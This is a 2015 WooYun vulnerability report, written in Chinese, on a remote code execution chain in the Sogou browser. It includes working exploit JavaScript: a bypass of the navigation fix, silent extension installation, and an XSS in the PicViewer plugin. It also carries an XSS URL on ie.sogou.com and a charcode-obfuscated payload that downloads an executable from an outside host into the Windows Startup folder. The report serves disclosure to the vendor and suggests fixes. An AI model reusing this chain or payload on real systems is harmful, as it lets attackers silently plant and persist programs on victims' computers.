当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-089575

漏洞标题:搜狗浏览器远程命令执行之四

相关厂商:搜狗

漏洞作者: gainover

提交时间:2015-01-01 08:53

修复时间:2015-04-01 08:54

公开时间:2015-04-01 08:54

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-01: 细节已通知厂商并且等待厂商处理中
2015-01-04: 厂商已经确认,细节仅向厂商公开
2015-01-07: 细节向第三方安全合作伙伴开放
2015-02-28: 细节向核心白帽子及相关领域专家公开
2015-03-10: 细节向普通白帽子公开
2015-03-20: 细节向实习白帽子公开
2015-04-01: 细节向公众公开

简要描述:

下载了最新版本:5.1.7.15549。 继续换个姿势绕过搜狗的修复措施,然后结合其它漏洞点,导致可以远程下载任意程序至本地任意指定目录。

详细说明:

1. 接着上一回说,搜狗浏览器修复了上一个漏洞里的几项内容:
A. 修复了window.open+location.href跳转至 se-extension:// 协议的问题。
B. 修复了balloon.html的xss,对postMessage所传入的url参数进行了判断。
C. 修复了npapi所提供的startExe函数可以调用任意程序的漏洞。
2. 那么是否问题得到了根本性的解决了?我们来一一绕过试试~
A. 首先是协议跳转的绕过,虽然window.open和location.href是不行了,但是下面的代码呢?

var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext740107210/html/balloon.html";document.body.appendChild(f);f.click();


在 *.sogou.com 域下的页面来执行以上代码,其它域会被弹窗拦截机制拦截。
可以看到,我们通过模拟点击页面的a标签,又可以跳转到se-extension://协议下了。
B. 然后我们需要找到se-extension://协议下的XSS,然后搜狗浏览器自带的插件毕竟数量有限,XSS总是会被找完的啊,事实也确实如此,简单找了一圈,也没有发现自带的插件里有什么好用的XSS点。
那么,我们是否可以看看应用市场的其它插件呢?那里的插件数量多。
但是要用到这些插件里的XSS,我们必须让用户装上这些插件才行。于是首先得看看搜狗是否具有静默安装插件的接口,寻找了一圈,还真发现了一个API接口,如下:。

window.external.extension("installExtFromSidebarBox", "com.qq.AccountProtect", "1.0.6", "test", '-1', 'undefined', 'undefined', "function(){console.log(arguments);}");


这个是搜狗安装侧边栏插件的接口,静默安装,不会有用户交互,其中com.qq.AccountProtect为插件的ID,接口会自动通过该ID到服务器上查询插件的地址并执行静默安装。
C. 既然可以静默安装任意搜狗插件市场里的插件,接着我们的目标就是在这些插件里找到XSS,并且最好这个插件里包含有一些可以操作本地资源的API,比如下载,执行命令等。
寻找过程就不细说了, 最终我们找到了一个插件:com.sogou.cxj009.PicViewer
这个插件存在一个XSS漏洞,这里我就不具体分析XSS漏洞的成因了,从下图可以看出,该插件的页面v.html会将当前浏览器中所有打开的页面标题输出到页面中,且输出时未过滤,如下图所示:

2.jpg


同时,该插件还调用了一个dll,提供了一个download函数,我们可以通过上一篇漏洞中所描述的调用背景页中API接口的方式来调用该download函数。由于该download函数在下载路径以及下载来源上未做任何判断。我们可以利用该函数来下载任意程序到本地。代码如下:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("picdownloader").download("http://www.baidu.com/","c:\\1.exe", function(e){});


------------------------------------------------------------------
综上,我们可以写出具体的利用代码:
1. 寻找一个 sogou.com域下的xss漏洞。 调用外部的sogou4.js, 用来跳转至 se-extension:// 协议。

<script>
window.name="if(!window._x){window._x=1;var s=document.createElement('script');s.src='//xsst.sinaapp.com/poc/sogou4.js?'+Math.random();document.body.appendChild(s);}";
location.href="http://ie.sogou.com/app/js/uploadify/uploadify.swf?uploadifyID=%22));}catch(e){}function%20jQuery(){};(function(){eval(window.name)})()//";
</script>


2. sogou4.js 文件内容

function runCmd(){
document.title="<img src onerror=eval(URL.substr(37))>";
if(/Windows NT 6/.test(navigator.userAgent)){
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,80,114,111,103,114,97,109,68,97,116,97,92,92,77,105,99,114,111,115,111,102,116,92,92,87,105,110,100,111,119,115,92,92,83,116,97,114,116,32,77,101,110,117,92,92,80,114,111,103,114,97,109,115,92,92,83,116,97,114,116,117,112,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click();
}else{
var f=document.createElement("a");f.target="_blank";f.href="se-extension://ext-1588466412/v.html#eval(String.fromCharCode(115,111,103,111,117,69,120,112,108,111,114,101,114,46,114,117,110,116,105,109,101,46,103,101,116,66,97,99,107,103,114,111,117,110,100,80,97,103,101,40,41,46,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,112,105,99,100,111,119,110,108,111,97,100,101,114,34,41,46,100,111,119,110,108,111,97,100,40,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,112,111,99,47,99,97,108,99,46,101,120,101,34,44,34,67,58,92,92,68,111,99,117,109,101,110,116,115,32,97,110,100,32,83,101,116,116,105,110,103,115,92,92,65,100,109,105,110,105,115,116,114,97,116,111,114,92,92,12300,24320,22987,12301,33756,21333,92,92,31243,24207,92,92,21551,21160,92,92,99,97,108,99,46,101,120,101,34,44,32,102,117,110,99,116,105,111,110,40,101,41,123,125,41,59))";document.body.appendChild(f);f.click();
}
}
window.external.extension("installExtFromSidebarBox", "com.sogou.cxj009.PicViewer", "1.0.6", "玩游戏", '-1', 'undefined', 'undefined', "function(){runCmd()}");


上面的代码,首先会通过 installExtFromSidebarBox 静默安装 com.sogou.cxj009.PicViewer 插件。接着在回调函数里调用 runCmd 函数
3. runCmd 函数中, 首先将当前页面的 document.title 设置为XSS代码。XSS代码长度有限制,所以采用了eval(URL.. 的方式 。 接着利用前面说到的绕过技巧,跳转到插件的URL上,由于插件也没存在XSS,会执行我们的XSS代码,即上面eval部分的代码:

sogouExplorer.runtime.getBackgroundPage().document.getElementById("picdownloader").download("http://xsst.sinaapp.com/poc/calc.exe","C:\\Documents and Settings\\Administrator\\「开始」菜单\\程序\\启动\\calc.exe", function(e){});


最终效果见漏洞证明,可以看到 calc.exe 被下载到启动目录。

漏洞证明:

XP下测试效果如下:

3.jpg


win7下关闭UAC,或搜狗浏览器以管理员身份运行时也可以写入到启动目录。

1.jpg

修复方案:

1. 继续修复协议跳转漏洞。
2. 对静默安装插件的API进行一些安全考虑
3. 修复com.sogou.cxj009.PicViewer的XSS漏洞,对npapi提供的一些函数做出安全考虑
4. 修复http://ie.sogou.com/app/js/uploadify/uploadify.swf这个XSS

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-01-04 10:59

厂商回复:

感谢支持

最新状态:

暂无